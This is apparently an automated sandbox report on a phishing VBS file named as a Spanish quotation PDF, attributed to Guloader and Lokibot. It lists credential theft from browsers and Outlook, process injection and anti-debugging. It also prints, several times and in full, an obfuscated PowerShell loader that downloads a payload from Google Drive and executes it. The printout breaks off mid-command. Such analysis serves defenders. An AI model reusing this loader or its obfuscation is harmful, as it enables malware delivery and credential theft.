Analysis Overview
SHA256
d6c16f0698885773a3ab5c3d41f7669f6b3520822e5a998b525e38a8d9d38f74
Threat Level: Known bad
The file Solicitud De Presupuesto 09-16-2024·pdf.vbs was found to be: Known bad.
Malicious Activity Summary
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
Checks computer location settings
Legitimate hosting services abused for malware hosting/C2
Accesses Microsoft Outlook profiles
Command and Scripting Interpreter: PowerShell
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of SetThreadContext
Suspicious use of NtCreateThreadExHideFromDebugger
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
outlook_win_path
Suspicious behavior: CmdExeWriteProcessMemorySpam
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
outlook_office_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-09-17 14:04
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-09-17 14:04
Reported
2024-09-17 14:06
Platform
win7-20240903-en
Max time kernel
146s
Max time network
144s
Command Line
Signatures
Guloader,Cloudeye
Lokibot
Credentials from Password Stores: Credentials from Web Browsers
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2696 set thread context of 2728 | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wabmig.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious behavior: CmdExeWriteProcessMemorySpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Program Files (x86)\windows mail\wabmig.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Solicitud De Presupuesto 09-16-2024·pdf.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Oud Foldure Reabstracts #>;$Udtydning='Coeditor';<#Undrugged Impeachability Kludges Seeable #>;$Smaamnstredes=$host.PrivateData;If ($Smaamnstredes) {$Sammentrde++;}function Corrodent($Nvningenes){$Stemmetlleren48=$Nvningenes.Length-$Sammentrde;for( $Afsvkkelsen=5;$Afsvkkelsen -lt $Stemmetlleren48;$Afsvkkelsen+=6){$Overtower197+=$Nvningenes[$Afsvkkelsen];}$Overtower197;}function pladsbilletterne($Stall){ & ($Affedningen) ($Stall);}$Trykkerlrlingene=Corrodent 'CentrMDechlo Au.nzArbouiIndskltrojklOutdra mhra/Dyn s5No an. Ski 0Unch. Sto m(CiffeWUpersiAthetnVerdedFumaroWo.stwStemms Libb PukatNCtbroTPr,nc konfi1Felto0Selvf.Under0Stude;R for UnaccW RefeiProcenOscu,6Baa d4Lftes;Cumul Syni.x D ca6Conf 4Areol;Hybri Su etrCo.trvUdr g:Coffl1T,nds2 sen 1 Over.Chron0Hasid)Fagli AmetaGPlie eLobedcKneehk ContoFremf/Samme2Anath0Snyde1 Kopi0.rins0 toxo1 Maxi0Trapb1Afteg BeskfF PorciFemogrPersoeSnekdf Te roLau ix Aura/Strik1Dakot2Steni1Un in.Hjlpe0 Pse ';$Bravurariers=Corrodent ' jtauKrlbeSDurabe TeroR ,mph-Arbeja B ligNonmaEUnderNReharTCl ym ';$Tomler=Corrodent ' K njhNedsttDash.tRail.psstersHebet:Supp /Chiot/Treeld PhenrHobo.i O.ycvVasaleTell .Holdig NonroLegalo Sveng CapilFun.teKelyp..xonscMlleroSpi lmBil e/Al emuStrepcMaalg?FranceBeeyaxindflpStudio ci cr PorttTobak= ki,kdHov,doOpspiwUnnaknBasellAfmaroEmpiraForhid fsnr&StormiS.nsidDisi =P,eva1PeppeBSumerYhydroB udka7tide L SkatHCan yw DdsssForsyrBrndvUVict,0Nicot0BrankCLandm0CatteuUd prEMedar6Hasti7 achrItanke3 UnmakjulebCEdd,rJTaar,dLsninB PalajNeu.ojForstB g,ae2KvisthLande-Mi rog Unc ';$Disbalance=Corrodent 'Trkni>Ladin ';$Affedningen=Corrodent ' PredI lokbeNederx K lt ';$Myoporaceae='Fuglefngeres';$Vikse = Corrodent 'BecomeUddracPrepohAquaroGhoul Midd %bagvaaSp,ckpUnderp,adopd PantafirvrtLre oa Iden%Co.ve\ OutgGFlytbyPixilm levanclothaSi.etsVrdisiKerneeO suglBlendrKataseBlr brHelse3 V ri6Gaard. GoslBPirifrLa ynuFjern Orna &Sassa&B ead GradueStammcSkue hOxypuoIndge BeskytAerop ';pladsbilletterne (Corrodent 'Hetze$UndergHan,aldentaoFolkebKawa,a BrinlEnvo.:DowntATheserIlde aHydrom osenaLedniySkri o tooli Un it GaareTjrin=Hol e(AflsncanlasmF.alad Stvr Forly/prsi clighe Fo,si$ArizoVShoveiAn,ngkPenhosP.tchefj le)H ver ');pladsbilletterne (Corrodent 'Over $TylengStartlUnimpoNik ebFi etatetralTe ro:ForesS ProgrMnemogErmake sam,mNarkoaE,sforArchcc BumfhTrans2Album5 Slau=B.sid$B serT BygnoPerismKhanelaudioeFactirDoppe.Si tbsC prepBronclTackiiEyrentMenar(O.thy$BnkstDSove.iVisers S lgbHoresaSepi,lca paaKorrunOpfatc BunkeLalle) Pres ');pladsbilletterne (Corrodent 'Sabad[U.lbsN Myxoe ilvrt K uz. OrgaSVis le lektr oorvAndeliCandec Rel eErbiaPDys ao Brevi Be enUncatt evelMS,desa delsnAsmolaFalcogBe taeB.rrerGu li]Ophiu:Skoko:TalemS Erhoe spercAplacuTr burFj.skiProantMethyy TwofPAlkohr vinaoFdselt Esprospos cN,issoAfvallr fle Blom =Belie squab[ K idNFigu.e b nit Ne r.S,rasSOver,eParapcRestpuBnnemrTaboriHattetForudyNiterPOysterHje lo ksetPro ooJordbcAugmeoAgelelSyntaTCohabyOt llpWam,leS.ass]Ecume:cor e:TriflTSummalGryd s Knip1 Bill2Typhl ');$Tomler=$Srgemarch25[0];$Ventrine= (Corrodent ',nstd$KaliugCra,elCaloyoSyrefbUtrovaMonosL Da.t:T ansd U emrKritiN.dtrfIUn,ulNDa,ghGByn vS No.r=MarkeNEnde eD ctawSleev-BelysoMichlbAktiejCommuE LninC G blt Unwh ,ikas.kyriY,onplsspaltTU give Goodm Spyd.SquibnN ttiERe egt Gl.r.IndskwS ydieOverdBF.jlsc.odstl Fi,mi oreteSkrefNUnpert');$Ventrine+=$Aramayoite[1];pladsbilletterne ($Ventrine);pladsbilletterne (Corrodent 'Pr,di$Grf.eDmarm rCanadnTmmeriOxy ln ommig Sbeus orgu.ShedmHD vice Creva Mat,dS sleePallerHistosNorma[A pol$SubmuBMandarslugaaKommavTymp.uPaaflrForgaaStaahrUn griGaudeeKli,prpans s Derm]Rd in=Odont$H lpsTDreggrRectayForesk Non kNyhe,eSejlkrqu.drl Di.arOverdlSneeziInternToppogOu sieStep nSjuskeSprll ');$Indkringsfases=Corrodent 'Yemen$ErhveD Is er,strinnonsyiU.ccenParazgImpals Dieh.DoonsDP,imao Fyl w affrnKo fll Se so,ronpa lockdGr ntFOchroiRemanlAnkereVand (Gnath$JowarTHiperoJiliamCuriel Gr ueHair rbogbi,B ndt$OverrAT,ibon Do.eeSarcil RideiEmb,enBetelgTurid)Ch.rg ';$Aneling=$Aramayoite[0];pladsbilletterne (Corrodent ' Natu$JernbgFejlsL Ind.O PromB PenoAFordrLKorps:Blasts EmboKmahogiIn beLKontaSSted.MKommuiRenomSLov sSDoze eAvowibkiangeTankvV .eleIKatedLReposLTyvetiCr.cin RepagPundsEDesinRGymna=Demit( Ekset ille LansSNine.Ttvrfa-PlusspfaldbAethnitLuftlhNin p under$InterAMuss,nT aktEkritiLselv i Skoln Ind GProra)Lytte ');while (!$Skilsmissebevillinger) {pladsbilletterne (Corrodent 'lingv$SteplgArizolTr aaoC takbAmovaaInauglvinge:Lee aT Sea,aBaalpcInur hNovi eNonmatMae,lu,eepurHe lceAcc s1 Yugo4Yeste3Expul= endr$PandatPresurVe neuL utueIn st ') ;pladsbilletterne $Indkringsfases;pladsbilletterne (Corrodent 'gas eS Lys.t irreadoubtrToptet Lens-SnokeSAdvoklRetoueR dwoe envipsjatt ,nun4Nonfo ');pladsbilletterne (Corrodent 'Major$G ogggCozyilBorg,o BefobfinanaDemoklCigar:Ge erSPorcekForudiLysatlBrachsvej.smLygteiFordjsInjussBilleeVognmbUncomeServiv Demoi annelDent.lkonveiSpaidnUpgatgPropteFifterIn,ti=Decel(RogueTUpopueAus rs Yow.tPlusk-PolysPSentia,aceltInpu h Tall Und s$KarreADecennK,lmieGrydelUnmediExtranNonprg Part)Data. ') ;pladsbilletterne (Corrodent 'Selvf$Dv grg DyrelLinedo PneubTelltaUntenl Pro :MisbeI ddiklProp,lAfgr uP stsmLob ciPar,tn Vid atoasttTo deoSpaltr stib=April$InescgSohqulUnissoLydlab Co naGa,lil arle:RepenP non sLaengebespau etyddH.tereW eezpsubaribossegudstdrSpairaRigsdpMisplhd naaoFiltenCtra + kovt+aa re%Choke$ WellSEtaper Medlg LuteeHimmemFiskeabipolrRh mbcEksemhElekt2Venez5Ba om.U sttcInvoco Kderu OpvanBukstt M,xi ') ;$Tomler=$Srgemarch25[$Illuminator];}$Saucer=298805;$Videoafspilleres=29219;pladsbilletterne (Corrodent 'Nacry$Am,asgM ljblBalloo ransbEkstraSocielNonpr:RisikHGarnea PhileDeg,gmPersoo k,ekt Supeo Credx ClupiSlatic ejtr Justi=Meni Lngs G RampePisketlairm- s miC semiounwienTils.tV jmaeBefornindsttRe.er Penty$ Abb ADogmanS ltieStje l SquiiElengnddedagNonfr ');pladsbilletterne (Corrodent 'Eusk $,avvrginterlRingsoLim,obLigevaScattlPal.o:Par.hDSk iviMin.da BlidlBelieo Thysg Appli ivebsRallyeMaladd Proh8Trinb2Vesti Rgfor=appel rot[ PrevS uksuyDgnprsBurhet S,deeAfbrymEspre.DullsCSilhuoMitren Unc.vKlippeKirkerFarettPille]O tsh:S der:k nomFDisplr Inteo impomOcotiBMerglaDefinsOegedeObjur6Jetja4Ande SMargetUdskrrKonomi Egn,nMycelgE uaw(Psy.h$ M gnH.ytaaaSemiceGallemFortyoadjuntShed.oSmaabxFarveiInterc Prot) En,o ');pladsbilletterne (Corrodent ' Pr.t$ PseugWhsillhistioAk ivbCretoaTilgalF eur: VariUUncivdR sulsFloritUnre yUncutrRidsee G.nelAltdosDannee BalarDendr G,thk= ffi Tryk[BredbSTradeyCuirasSkrivtRulleeMatermSlapp.perosTInhibeTurisxSammetBedra.T umpEGlimpnJateoc SurmoAleurdCorreiL efenUsaarg Hjlp]Konfd:Ele,a:lam,iA TaksS.ontaC Ar.oIWagneITitre. ChilGBa.ble ortltSuperSP gurt SawsrChartiKrigenKoansgTelev( favo$SpydiDNonmiiBrospaAsorrlSiksao itacgNebu iDevias ndroetrissdFedts8Und r2 f.ot)Inve. ');pladsbilletterne (Corrodent ' tr i$ Dis gLseholIntegoRynkeb NecraTndeslCentr: ReloF usinoApatirRitmesBakketPredeaDemulaka.aeeCarinlDiagos arvee ,ogisLakfapDiscorWarnroMarencPrivaeO,erpsstolts Vente,rvejrLevernApp reTofte= Fisk$Ov rjUgalahdGevansSydf tElr tyQuin.rLaed e Af yl SpissSupr ePla erForbi.SennesFinanu.emicbPlyndsAfgudt RisarSyndiiLugtunKilomgF rha(Bi da$ScoreSSelvfaVagtpuMis,gcClinoeOplg rForgr,Prosa$Qui.nVWrapaiRens dLeucoeVeneeo havea Urfjf Con sEclippTormeiAn iplOleaclHypogeFlyt,r Bai e Obsts Head)Besid ');pladsbilletterne $Forstaaelsesprocesserne;"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Gymnasielrer36.Bru && echo t"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c ^"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe^" "<#Oud Foldure Reabstracts #>;$Udtydning='Coeditor';<#Undrugged Impeachability Kludges Seeable #>;$Smaamnstredes=$host.PrivateData;If ($Smaamnstredes) {$Sammentrde++;}function Corrodent($Nvningenes){$Stemmetlleren48=$Nvningenes.Length-$Sammentrde;for( $Afsvkkelsen=5;$Afsvkkelsen -lt $Stemmetlleren48;$Afsvkkelsen+=6){$Overtower197+=$Nvningenes[$Afsvkkelsen];}$Overtower197;}function pladsbilletterne($Stall){ & ($Affedningen) ($Stall);}$Trykkerlrlingene=Corrodent 'CentrMDechlo Au.nzArbouiIndskltrojklOutdra mhra/Dyn s5No an. Ski 0Unch. Sto m(CiffeWUpersiAthetnVerdedFumaroWo.stwStemms Libb PukatNCtbroTPr,nc konfi1Felto0Selvf.Under0Stude;R for UnaccW RefeiProcenOscu,6Baa d4Lftes;Cumul Syni.x D ca6Conf 4Areol;Hybri Su etrCo.trvUdr g:Coffl1T,nds2 sen 1 Over.Chron0Hasid)Fagli AmetaGPlie eLobedcKneehk ContoFremf/Samme2Anath0Snyde1 Kopi0.rins0 toxo1 Maxi0Trapb1Afteg BeskfF PorciFemogrPersoeSnekdf Te roLau ix Aura/Strik1Dakot2Steni1Un in.Hjlpe0 Pse ';$Bravurariers=Corrodent ' jtauKrlbeSDurabe TeroR ,mph-Arbeja B ligNonmaEUnderNReharTCl ym ';$Tomler=Corrodent ' K njhNedsttDash.tRail.psstersHebet:Supp /Chiot/Treeld PhenrHobo.i O.ycvVasaleTell .Holdig NonroLegalo Sveng CapilFun.teKelyp..xonscMlleroSpi lmBil e/Al emuStrepcMaalg?FranceBeeyaxindflpStudio ci cr PorttTobak= ki,kdHov,doOpspiwUnnaknBasellAfmaroEmpiraForhid fsnr&StormiS.nsidDisi =P,eva1PeppeBSumerYhydroB udka7tide L SkatHCan yw DdsssForsyrBrndvUVict,0Nicot0BrankCLandm0CatteuUd prEMedar6Hasti7 achrItanke3 UnmakjulebCEdd,rJTaar,dLsninB PalajNeu.ojForstB g,ae2KvisthLande-Mi rog Unc ';$Disbalance=Corrodent 'Trkni>Ladin ';$Affedningen=Corrodent ' PredI lokbeNederx K lt ';$Myoporaceae='Fuglefngeres';$Vikse = Corrodent 'BecomeUddracPrepohAquaroGhoul Midd %bagvaaSp,ckpUnderp,adopd PantafirvrtLre oa Iden%Co.ve\ OutgGFlytbyPixilm levanclothaSi.etsVrdisiKerneeO suglBlendrKataseBlr brHelse3 V ri6Gaard. GoslBPirifrLa ynuFjern Orna &Sassa&B ead GradueStammcSkue hOxypuoIndge BeskytAerop ';pladsbilletterne (Corrodent 'Hetze$UndergHan,aldentaoFolkebKawa,a BrinlEnvo.:DowntATheserIlde aHydrom osenaLedniySkri o tooli Un it GaareTjrin=Hol e(AflsncanlasmF.alad Stvr Forly/prsi clighe Fo,si$ArizoVShoveiAn,ngkPenhosP.tchefj le)H ver ');pladsbilletterne (Corrodent 'Over $TylengStartlUnimpoNik ebFi etatetralTe ro:ForesS ProgrMnemogErmake sam,mNarkoaE,sforArchcc BumfhTrans2Album5 Slau=B.sid$B serT BygnoPerismKhanelaudioeFactirDoppe.Si tbsC prepBronclTackiiEyrentMenar(O.thy$BnkstDSove.iVisers S lgbHoresaSepi,lca paaKorrunOpfatc BunkeLalle) Pres ');pladsbilletterne (Corrodent 'Sabad[U.lbsN Myxoe ilvrt K uz. OrgaSVis le lektr oorvAndeliCandec Rel eErbiaPDys ao Brevi Be enUncatt evelMS,desa delsnAsmolaFalcogBe taeB.rrerGu li]Ophiu:Skoko:TalemS Erhoe spercAplacuTr burFj.skiProantMethyy TwofPAlkohr vinaoFdselt Esprospos cN,issoAfvallr fle Blom =Belie squab[ K idNFigu.e b nit Ne r.S,rasSOver,eParapcRestpuBnnemrTaboriHattetForudyNiterPOysterHje lo ksetPro ooJordbcAugmeoAgelelSyntaTCohabyOt llpWam,leS.ass]Ecume:cor e:TriflTSummalGryd s Knip1 Bill2Typhl ');$Tomler=$Srgemarch25[0];$Ventrine= (Corrodent ',nstd$KaliugCra,elCaloyoSyrefbUtrovaMonosL Da.t:T ansd U emrKritiN.dtrfIUn,ulNDa,ghGByn vS No.r=MarkeNEnde eD ctawSleev-BelysoMichlbAktiejCommuE LninC G blt Unwh ,ikas.kyriY,onplsspaltTU give Goodm Spyd.SquibnN ttiERe egt Gl.r.IndskwS ydieOverdBF.jlsc.odstl Fi,mi oreteSkrefNUnpert');$Ventrine+=$Aramayoite[1];pladsbilletterne ($Ventrine);pladsbilletterne (Corrodent 'Pr,di$Grf.eDmarm rCanadnTmmeriOxy ln ommig Sbeus orgu.ShedmHD vice Creva Mat,dS sleePallerHistosNorma[A pol$SubmuBMandarslugaaKommavTymp.uPaaflrForgaaStaahrUn griGaudeeKli,prpans s Derm]Rd in=Odont$H lpsTDreggrRectayForesk Non kNyhe,eSejlkrqu.drl Di.arOverdlSneeziInternToppogOu sieStep nSjuskeSprll ');$Indkringsfases=Corrodent 'Yemen$ErhveD Is er,strinnonsyiU.ccenParazgImpals Dieh.DoonsDP,imao Fyl w affrnKo fll Se so,ronpa lockdGr ntFOchroiRemanlAnkereVand (Gnath$JowarTHiperoJiliamCuriel Gr ueHair rbogbi,B ndt$OverrAT,ibon Do.eeSarcil RideiEmb,enBetelgTurid)Ch.rg ';$Aneling=$Aramayoite[0];pladsbilletterne (Corrodent ' Natu$JernbgFejlsL Ind.O PromB PenoAFordrLKorps:Blasts EmboKmahogiIn beLKontaSSted.MKommuiRenomSLov sSDoze eAvowibkiangeTankvV .eleIKatedLReposLTyvetiCr.cin RepagPundsEDesinRGymna=Demit( Ekset ille LansSNine.Ttvrfa-PlusspfaldbAethnitLuftlhNin p under$InterAMuss,nT aktEkritiLselv i Skoln Ind GProra)Lytte ');while (!$Skilsmissebevillinger) {pladsbilletterne (Corrodent 'lingv$SteplgArizolTr aaoC takbAmovaaInauglvinge:Lee aT Sea,aBaalpcInur hNovi eNonmatMae,lu,eepurHe lceAcc s1 Yugo4Yeste3Expul= endr$PandatPresurVe neuL utueIn st ') ;pladsbilletterne $Indkringsfases;pladsbilletterne (Corrodent 'gas eS Lys.t irreadoubtrToptet Lens-SnokeSAdvoklRetoueR dwoe envipsjatt ,nun4Nonfo ');pladsbilletterne (Corrodent 'Major$G ogggCozyilBorg,o BefobfinanaDemoklCigar:Ge erSPorcekForudiLysatlBrachsvej.smLygteiFordjsInjussBilleeVognmbUncomeServiv Demoi annelDent.lkonveiSpaidnUpgatgPropteFifterIn,ti=Decel(RogueTUpopueAus rs Yow.tPlusk-PolysPSentia,aceltInpu h Tall Und s$KarreADecennK,lmieGrydelUnmediExtranNonprg Part)Data. ') ;pladsbilletterne (Corrodent 'Selvf$Dv grg DyrelLinedo PneubTelltaUntenl Pro :MisbeI ddiklProp,lAfgr uP stsmLob ciPar,tn Vid atoasttTo deoSpaltr stib=April$InescgSohqulUnissoLydlab Co naGa,lil arle:RepenP non sLaengebespau etyddH.tereW eezpsubaribossegudstdrSpairaRigsdpMisplhd naaoFiltenCtra + kovt+aa re%Choke$ WellSEtaper Medlg LuteeHimmemFiskeabipolrRh mbcEksemhElekt2Venez5Ba om.U sttcInvoco Kderu OpvanBukstt M,xi ') ;$Tomler=$Srgemarch25[$Illuminator];}$Saucer=298805;$Videoafspilleres=29219;pladsbilletterne (Corrodent 'Nacry$Am,asgM ljblBalloo ransbEkstraSocielNonpr:RisikHGarnea PhileDeg,gmPersoo k,ekt Supeo Credx ClupiSlatic ejtr Justi=Meni Lngs G RampePisketlairm- s miC semiounwienTils.tV jmaeBefornindsttRe.er Penty$ Abb ADogmanS ltieStje l SquiiElengnddedagNonfr ');pladsbilletterne (Corrodent 'Eusk $,avvrginterlRingsoLim,obLigevaScattlPal.o:Par.hDSk iviMin.da BlidlBelieo Thysg Appli ivebsRallyeMaladd Proh8Trinb2Vesti Rgfor=appel rot[ PrevS uksuyDgnprsBurhet S,deeAfbrymEspre.DullsCSilhuoMitren Unc.vKlippeKirkerFarettPille]O tsh:S der:k nomFDisplr Inteo impomOcotiBMerglaDefinsOegedeObjur6Jetja4Ande SMargetUdskrrKonomi Egn,nMycelgE uaw(Psy.h$ M gnH.ytaaaSemiceGallemFortyoadjuntShed.oSmaabxFarveiInterc Prot) En,o ');pladsbilletterne (Corrodent ' Pr.t$ PseugWhsillhistioAk ivbCretoaTilgalF eur: VariUUncivdR sulsFloritUnre yUncutrRidsee G.nelAltdosDannee BalarDendr G,thk= ffi Tryk[BredbSTradeyCuirasSkrivtRulleeMatermSlapp.perosTInhibeTurisxSammetBedra.T umpEGlimpnJateoc SurmoAleurdCorreiL efenUsaarg Hjlp]Konfd:Ele,a:lam,iA TaksS.ontaC Ar.oIWagneITitre. ChilGBa.ble ortltSuperSP gurt SawsrChartiKrigenKoansgTelev( favo$SpydiDNonmiiBrospaAsorrlSiksao itacgNebu iDevias ndroetrissdFedts8Und r2 f.ot)Inve. ');pladsbilletterne (Corrodent ' tr i$ Dis gLseholIntegoRynkeb NecraTndeslCentr: ReloF usinoApatirRitmesBakketPredeaDemulaka.aeeCarinlDiagos arvee ,ogisLakfapDiscorWarnroMarencPrivaeO,erpsstolts Vente,rvejrLevernApp reTofte= Fisk$Ov rjUgalahdGevansSydf tElr tyQuin.rLaed e Af yl SpissSupr ePla erForbi.SennesFinanu.emicbPlyndsAfgudt RisarSyndiiLugtunKilomgF rha(Bi da$ScoreSSelvfaVagtpuMis,gcClinoeOplg rForgr,Prosa$Qui.nVWrapaiRens dLeucoeVeneeo havea Urfjf Con sEclippTormeiAn iplOleaclHypogeFlyt,r Bai e Obsts Head)Besid ');pladsbilletterne $Forstaaelsesprocesserne;"
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Oud Foldure Reabstracts #>;$Udtydning='Coeditor';<#Undrugged Impeachability Kludges Seeable #>;$Smaamnstredes=$host.PrivateData;If ($Smaamnstredes) {$Sammentrde++;}function Corrodent($Nvningenes){$Stemmetlleren48=$Nvningenes.Length-$Sammentrde;for( $Afsvkkelsen=5;$Afsvkkelsen -lt $Stemmetlleren48;$Afsvkkelsen+=6){$Overtower197+=$Nvningenes[$Afsvkkelsen];}$Overtower197;}function pladsbilletterne($Stall){ & ($Affedningen) ($Stall);}$Trykkerlrlingene=Corrodent 'CentrMDechlo Au.nzArbouiIndskltrojklOutdra mhra/Dyn s5No an. Ski 0Unch. Sto m(CiffeWUpersiAthetnVerdedFumaroWo.stwStemms Libb PukatNCtbroTPr,nc konfi1Felto0Selvf.Under0Stude;R for UnaccW RefeiProcenOscu,6Baa d4Lftes;Cumul Syni.x D ca6Conf 4Areol;Hybri Su etrCo.trvUdr g:Coffl1T,nds2 sen 1 Over.Chron0Hasid)Fagli AmetaGPlie eLobedcKneehk ContoFremf/Samme2Anath0Snyde1 Kopi0.rins0 toxo1 Maxi0Trapb1Afteg BeskfF PorciFemogrPersoeSnekdf Te roLau ix Aura/Strik1Dakot2Steni1Un in.Hjlpe0 Pse ';$Bravurariers=Corrodent ' jtauKrlbeSDurabe TeroR ,mph-Arbeja B ligNonmaEUnderNReharTCl ym ';$Tomler=Corrodent ' K njhNedsttDash.tRail.psstersHebet:Supp /Chiot/Treeld PhenrHobo.i O.ycvVasaleTell .Holdig NonroLegalo Sveng CapilFun.teKelyp..xonscMlleroSpi lmBil e/Al emuStrepcMaalg?FranceBeeyaxindflpStudio ci cr PorttTobak= ki,kdHov,doOpspiwUnnaknBasellAfmaroEmpiraForhid fsnr&StormiS.nsidDisi =P,eva1PeppeBSumerYhydroB udka7tide L SkatHCan yw DdsssForsyrBrndvUVict,0Nicot0BrankCLandm0CatteuUd prEMedar6Hasti7 achrItanke3 UnmakjulebCEdd,rJTaar,dLsninB PalajNeu.ojForstB g,ae2KvisthLande-Mi rog Unc ';$Disbalance=Corrodent 'Trkni>Ladin ';$Affedningen=Corrodent ' PredI lokbeNederx K lt ';$Myoporaceae='Fuglefngeres';$Vikse = Corrodent 'BecomeUddracPrepohAquaroGhoul Midd %bagvaaSp,ckpUnderp,adopd PantafirvrtLre oa Iden%Co.ve\ OutgGFlytbyPixilm levanclothaSi.etsVrdisiKerneeO suglBlendrKataseBlr brHelse3 V ri6Gaard. GoslBPirifrLa ynuFjern Orna &Sassa&B ead GradueStammcSkue hOxypuoIndge BeskytAerop ';pladsbilletterne (Corrodent 'Hetze$UndergHan,aldentaoFolkebKawa,a BrinlEnvo.:DowntATheserIlde aHydrom osenaLedniySkri o tooli Un it GaareTjrin=Hol e(AflsncanlasmF.alad Stvr Forly/prsi clighe Fo,si$ArizoVShoveiAn,ngkPenhosP.tchefj le)H ver ');pladsbilletterne (Corrodent 'Over $TylengStartlUnimpoNik ebFi etatetralTe ro:ForesS ProgrMnemogErmake sam,mNarkoaE,sforArchcc BumfhTrans2Album5 Slau=B.sid$B serT BygnoPerismKhanelaudioeFactirDoppe.Si tbsC prepBronclTackiiEyrentMenar(O.thy$BnkstDSove.iVisers S lgbHoresaSepi,lca paaKorrunOpfatc BunkeLalle) Pres ');pladsbilletterne (Corrodent 'Sabad[U.lbsN Myxoe ilvrt K uz. OrgaSVis le lektr oorvAndeliCandec Rel eErbiaPDys ao Brevi Be enUncatt evelMS,desa delsnAsmolaFalcogBe taeB.rrerGu li]Ophiu:Skoko:TalemS Erhoe spercAplacuTr burFj.skiProantMethyy TwofPAlkohr vinaoFdselt Esprospos cN,issoAfvallr fle Blom =Belie squab[ K idNFigu.e b nit Ne r.S,rasSOver,eParapcRestpuBnnemrTaboriHattetForudyNiterPOysterHje lo ksetPro ooJordbcAugmeoAgelelSyntaTCohabyOt llpWam,leS.ass]Ecume:cor e:TriflTSummalGryd s Knip1 Bill2Typhl ');$Tomler=$Srgemarch25[0];$Ventrine= (Corrodent 